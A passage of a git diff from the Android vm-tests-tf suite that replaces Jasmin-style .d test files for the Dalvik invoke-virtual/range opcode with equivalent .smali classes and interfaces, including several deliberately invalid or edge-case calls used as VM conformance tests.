-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_22.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_22
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual_range/d/TPlain
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual_range/d/TPlain/<init>()V
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/toIntP()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali
new file mode 100644
index 0000000..73d9a3e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_22.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_22;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TPlain;-><init>()V
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;->toIntP()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.d
deleted file mode 100644
index cf21428..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_23.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_23
-.super dot/junit/opcodes/invoke_virtual_range/d/TSuper2
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, dot/junit/opcodes/invoke_virtual_range/d/TSuper2/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 6
-
-       new-instance v2, dot/junit/opcodes/invoke_virtual_range/d/TSuper
-       invoke-direct {v2}, dot/junit/opcodes/invoke_virtual_range/d/TSuper/<init>()V
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/TSuper2/test()I
-
-       move-result v0
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali
new file mode 100644
index 0000000..2441851
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_23.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_23;
+.super  Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 6
+
+       new-instance v2, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;
+       invoke-direct {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper;-><init>()V
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/TSuper2;->test()I
+
+       move-result v0
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/TTestInterface.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/TTestInterface.smali
new file mode 100644
index 0000000..dad143e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/TTestInterface.smali
@@ -0,0 +1,22 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/TTestInterface;
+.super Ljava/lang/Object;
+.source "TTestInterface.java"
+
+
+# virtual methods
+.method public abstract test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/T_invoke_virtual_range_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/T_invoke_virtual_range_24.smali
new file mode 100644
index 0000000..ecfbac3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24.smalis/T_invoke_virtual_range_24.smali
@@ -0,0 +1,46 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_24;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_24.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/TTestInterface;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/TTestInterface;->test()V
+
+    return-void
+.end method
+
+.method public test()V
+    .registers 1
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.smali
new file mode 100644
index 0000000..ca32c8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_25;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_25.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 8
+
+    new-instance v6, Ljava/lang/Object;
+
+    invoke-virtual/range {v6 .. v7}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault.smali
new file mode 100644
index 0000000..424db44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..66bbdf5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/T_invoke_virtual_range_26.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/T_invoke_virtual_range_26.smali
new file mode 100644
index 0000000..9156fd3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26.smalis/T_invoke_virtual_range_26.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_26.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_26;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault.smali
new file mode 100644
index 0000000..424db44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault2.smali
new file mode 100644
index 0000000..66bbdf5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestDefault2.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+.super Ljava/lang/Object;
+.source "ITestDefault2.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestNonDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestNonDefault.smali
new file mode 100644
index 0000000..ad0a41a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/ITestNonDefault.smali
@@ -0,0 +1,26 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestNonDefault;
+.super Ljava/lang/Object;
+.source "ITestNonDefault.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+
+
+# virtual methods
+.method public abstract testDefault()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/T_invoke_virtual_range_27.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/T_invoke_virtual_range_27.smali
new file mode 100644
index 0000000..9547b32
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27.smalis/T_invoke_virtual_range_27.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_27.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestNonDefault;
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault2;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_27;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/ITestDefault.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/ITestDefault.smali
new file mode 100644
index 0000000..424db44
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/ITestDefault.smali
@@ -0,0 +1,25 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public interface Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+.super Ljava/lang/Object;
+.source "ITestDefault.java"
+
+
+# virtual methods
+.method public testDefault()V
+    .registers 2
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/T_invoke_virtual_range_28.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/T_invoke_virtual_range_28.smali
new file mode 100644
index 0000000..972bbe9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28.smalis/T_invoke_virtual_range_28.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_28.java"
+
+# interfaces
+.implements Ldot/junit/opcodes/invoke_virtual_range/d/ITestDefault;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 1
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_28;->testDefault()V
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.smali
new file mode 100644
index 0000000..fbfea89
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4.smali
@@ -0,0 +1,40 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4;
+.super Ljava/lang/Object;
+.source "T_invoke_virtual_range_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 2
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    invoke-virtual/range {p0 .. p0}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_4;->test()V
+
+    return-void
+.end method
+
+.method public native test()V
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.d
deleted file mode 100644
index 361e00c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.d
+++ /dev/null
@@ -1,39 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_invoke_virtual_range_5.java
-.class public dot.junit.opcodes.invoke_virtual_range.d.T_invoke_virtual_range_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 2
-
-       invoke-direct {v1}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static test()V
-.limit regs 0
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       invoke-virtual/range {v2}, dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5/test()V
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali
new file mode 100644
index 0000000..7c2d886
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_invoke_virtual_range_5.java"
+.class  public Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 2
+
+       invoke-direct {v1}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static test()V
+.registers 0
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       invoke-virtual/range {v2}, Ldot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_5;->test()V
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.d
deleted file mode 100644
index 2dcf120..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/invoke_virtual_range/d/T_invoke_virtual_range_6.d
